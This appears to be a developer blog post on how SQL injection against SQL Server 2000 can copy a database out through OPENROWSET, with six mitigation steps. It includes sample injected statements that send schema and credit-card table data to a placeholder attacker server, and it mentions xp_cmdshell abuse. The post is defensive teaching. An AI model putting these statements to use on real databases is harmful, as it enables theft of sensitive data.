.NET Junkie

Often when I visit customers, I warn their developers about the danger of SQL injection attacks and the importance of good database security. Many developers think they are safe because:

• They don't return (SQL) error messages to the browser.
• They log error messages to the windows event log.
• They use stored procedures.
• They don't connect to the database using the 'sa' (administrator) account.

This however is a false sense of security. In this article I will show you how a hacker can exploit a SQL injection vulnerability to steal your sensitive data. This goes for SQL Server 2000 in particular, which has a pretty unsafe default configuration, leaving your server open to exploitation quite easily, as I will show next.

Hacking SQL Server Using OpenRowset

Hackers can exploit a hole in your website to inject SQL code into SQL Server. The most popular way to do this is by inserting code in the query string, but there are of course several ways to do this. If you are not familiar with SQL Injection attacks, this Wikipedia article has a good definition.  Most developers however, don't realize what the dangers are of such a leak. A hacker, that finds a SQL injection vulnerability, might inject the following SQL code into your SQL Server database:

INSERT INTO OPENROWSET('SQLoledb',
'server=HackersServer;uid=sa;pwd=hackersPwd', 
'select * from hacked_tables')
SELECT * FROM sys.objects

INSERT INTO OPENROWSET('SQLoledb',
'server=HackersServer;uid=sa;pwd=hackersPwd', 
'select * from hacked_columns')
SELECT * FROM sys.columns

Let's analyze what happened here. The OPENROWSET function allows access to a remote data source. SQL Server calls this an ad hoc distributed query. When your SQL Server is connected to the internet, using this construct, the hacker can open a connection to his own server. Please don't think you can stop this by disallowing SQL Server port 1433 on your firewall; The hacker can use any port he wants. The hacker can use the OPENROWSET command to ‘ping’ his own server to find out if his SQL injection has any effect. This way he doesn't need any error messages returned from the web server to find out if the SQL injection succeeded.

With the two INSERT statements shown above, the hacker inserted the definition of all your database objects (such as tables and views) and their columns into his own database. The hacker can than use this information to rebuild the definition of your database on his own server and copy all the data from the hacked server to his own. The next step is to copy (all your sensitive business) data to the remote server. The query below is an example of what the hacker could execute:

INSERT INTO OPENROWSET('SQLoledb',
'server=HackersServer;uid=sa;pwd=hackersPwd', 
'select * from hacked_creditcardnumbers')
SELECT * FROM creditcardnumbers

After the hacker finds out that your database contains a table named ‘creditcardnumbers’, the hacker can create a table named 'hacked_creditcardnumbers' in his own database, after which he will execute the given statement. He could (and probably will) repeat this for all (interesting) tables in your database.

To be clear about this: The OPENROWSET functionality is enabled by default in SQL Server 2000 can be used by normal database logins with no particular rights (you don’t have to be logged in as a database owner or system administrator for this to work). With SQL Server 2005, Microsoft has disabled this feature by default, but you should make sure that this feature is disabled on your server. I will show at the end of this article how to disable this feature. I hope you see that –especially with the ad hoc distributed query functionality– a single SQL injection vulnerability could easily be exploited by a hacker to copy your very sensitive business data!

But it could easily get worse, (and that's the case) when you actually did connect to your database using the ‘sa’ user. ‘sa’ Privileges allow someone to execute stored procedures like xp_cmdshell and xp_regwrite. These procedures allow you to execute literally any program from the file system and change anything in the windows registry. The hacker could even download any binary file from his own server, store it on the database server’s file system, register it through the windows register and run it! Please note that while running within the context of the system administrator account, a hacker can also re-enable the ad hoc distributed query functionality and (again) start copying the data.

Let's make it clear: The hacker will have full control over your server when he exploits a vulnerability in the context of the system administrator (sa) user account!

To make things worse; When connected to the database using a non-privileged login account, it could still be possible that the hacker exploits a known or unknown SQL server vulnerability to elevate privileges to gain full control. While the security of SQL Server (or any database servers by any other vendor that is) is getting better, those flaws still pop-up.

The bottom line is: please don’t underestimate SQL injection attacks, because a single successful injection could lead to a compromised server and theft of sensitive business data. You don’t want to be the developer responsible for this exploited leak.

Mitigating The Risks

Now that we know the dangers, here are 6 steps that help you mitigate the risks.

Step 1

Never connect to the database using the ‘sa’ account. Use a custom account and give it just enough rights. Personally, I prefer a security model where each application role gets it’s own SQL login with only the rights it needs. This is not always feasible, for instance when the rights of each role are very dynamic and must be configurable.

Step 2

Make sure it’s impossible to execute ad hoc distributed queries, like the ones shown above. SQL Server 2005 has disabled this by default, but SQL Server 2000 hasn’t. Note that this configuration is at server level only. Unfortunately it’s not an account policy. When you need ad hoc queries, I advise you to temporarily enable them, run your query, and disable them again. This limits the time frame an attacker could abuse it. And again, disabling this feature is useless when your application connects to the database using the ‘sa’ account.

To check whether ad hoc distributed queries are enabled, run the following query:

SP_CONFIGURE 'Ad Hoc Distributed Queries'

The columns ‘config_value’ and ‘run_value’ of the stored procedures results set should have a value of 0. Otherwise run this query to correct it:

SP_CONFIGURE 'Ad Hoc Distributed Queries', 0

After you disabled the ad hoc distributed queries functionality, you should get the following error message when executing the articles first query:

Msg 15281, Level 16, State 1, Line 1
SQL Server blocked access to STATEMENT 'OpenRowset/OpenDatasource' of component 'Ad Hoc Distributed Queries' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'Ad Hoc Distributed Queries' by using sp_configure. For more information about enabling 'Ad Hoc Distributed Queries', see "Surface Area Configuration" in SQL Server Books Online.

Step 3

Optionally use automated tooling to check for vulnerabilities in your code base. The integrated code analysis of Visual Studio 2010 for instance, will have rules for finding SQL injection vulnerabilities.

Step 4

Make sure you log every exception to a data store and view logged events on a regular basis. When you’re looking for a simple and pluggable logging framework for .NET, please take a look at CuttingEdge.Logging. When you log exceptions to a database, give logins only insert rights to the log table to prevent a hacker from erasing his tracks.

Step 5

Create security guidelines and an application architecture that protects you against injection attacks (and other security risks). Those guidelines should at least state that parameterized queries should be used as much as possible (if not always).

Step 6

Use code reviews to find flaws in your software before it is released. This is very important, because you can’t fully rely on automated tools or your database security configuration. Please use parameterized queries as much as possible and also review your stored procedures, because they are also vulnerable to injection attacks. Also make sure you avoid SQL Truncation attacks.

More information

You can find detailed information about SQL Injection using ad hoc distributed queries in the following PDF document: Manipulating Microsoft SQL Server Using SQL Injection.

Good luck!

The code samples on my weblog are colorized using javascript, but you disabled javascript (for my website) on your browser. If you're interested in viewing the posted code snippets in color, please enable javascript.